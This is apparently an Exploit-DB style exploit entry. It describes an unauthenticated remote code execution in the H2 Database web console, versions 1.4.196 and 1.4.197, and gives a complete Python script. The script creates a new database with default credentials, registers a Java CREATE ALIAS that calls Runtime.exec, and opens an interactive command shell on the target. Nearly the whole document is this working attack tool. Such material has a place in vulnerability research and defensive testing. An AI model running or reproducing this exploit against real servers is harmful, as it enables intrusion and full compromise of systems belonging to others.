# Exploit Title: H2 Database 1.4.196 - Remote Code Execution
# Google Dork: N/A
# Date: 2018-09-24
# Exploit Author: h4ckNinja
# Vendor Homepage: https://www.h2database.com/
# Software Link: http://www.h2database.com/h2-2018-03-18.zip
# Version: 1.4.196 and 1.4.197
# Tested on: macOS/Linux
# CVE: N/A
 
# This takes advantage of the CREATE ALIAS RCE (https://www.exploit-db.com/exploits/44422/). 
# When the test database has a password that is unknown, it is still possible to get the execution 
# by creating a new database. The web console allows this by entering the name of the new database 
# in the connection string. When the new database is created, the default credentials of 
# username asaa and password aa (blank) are created. The attacker is logged in automatically. 
# The attached Python code, modified from 44422, demonstrates this.
 
#!/usr/bin/env python
 
'''
Exploit Title: Unauthenticated RCE
Date: 2018/09/24
Exploit Author: h4ckNinja
Vendor: http://www.h2database.com/
Version: all versions
Tested on: Linux, Mac
Description: Building on the Alias RCE, there's an authentication bypass to create a database, and then login to that one.
Modified from: https://www.exploit-db.com/exploits/44422/
'''
 
import random
import string
import sys
import argparse
import html
import requests
 
 
def getSession(host):
    url = 'http://{}'.format(host)
    r = requests.get(url)
    path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp', '.do')
 
    return '{}/{}'.format(url, path)
 
def login(url, database):
    data = {
        'language': 'en',
        'setting': 'Generic H2 (Embedded)',
        'name': 'Generic H2 (Embedded)',
        'driver': 'org.h2.Driver',
        'url': database,
        'user': 'sa',
        'password': ''
    }
 
    print('[*] Attempting to create database')
    r = requests.post(url, data=data)
 
    if '<th class="login">Login</th>' in r.text:
        return False
 
    print('[+] Created database and logged in')
 
    return True
 
def prepare(url):
    cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;'''
    url = url.replace('login', 'query')
 
    print('[*] Sending stage 1')
 
    r = requests.post(url, data={'sql': cmd})
 
    if not 'NullPointerException' in r.text:
        print('[+] Shell succeeded - ^c or quit to exit')
        return url
 
    return False
 
def execve(url, cmd):
    r = requests.post(url, data={'sql':"CALL EXECVE('{}')".format(cmd)})
 
    try:
        execHTML = html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace('&nbsp;',' ')).encode('utf-8').decode('utf-8','ignore')
        print(execHTML)
 
    except Exception as e:
        print('[-] Invalid command (' + str(e) + ')')
 
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    randString = ''.join(random.choices(string.ascii_letters + string.digits, k=5))
 
    parser.add_argument('-H',
            '--host',
            dest='host',
            metavar='127.0.0.1:8082',
            help='Specify a host',
            required=True)
 
    parser.add_argument('-d',
            '--database-url',
            dest='database',
            metavar='jdbc:h2:~/emptydb-' + randString,
            default='jdbc:h2:~/emptydb-' + randString,
            help='Database URL',
            required=False)
 
    args = parser.parse_args()
 
url = getSession(args.host)
 
if login(url, args.database):
    success = prepare(url)
 
    if success:
        while True:
            try:
                cmd = input('h2-shell$ ')
 
                if 'quit' not in cmd:
                    execve(success, cmd)
 
                else:
                    print('[+] Shutting down')
                    sys.exit(0)
 
            except KeyboardInterrupt:
                print()
                print('[+] Shutting down')
                sys.exit(0)
 
    else:
        print('[-] Something went wrong injecting the payload.')
 
else:
    print('[-] Unable to login')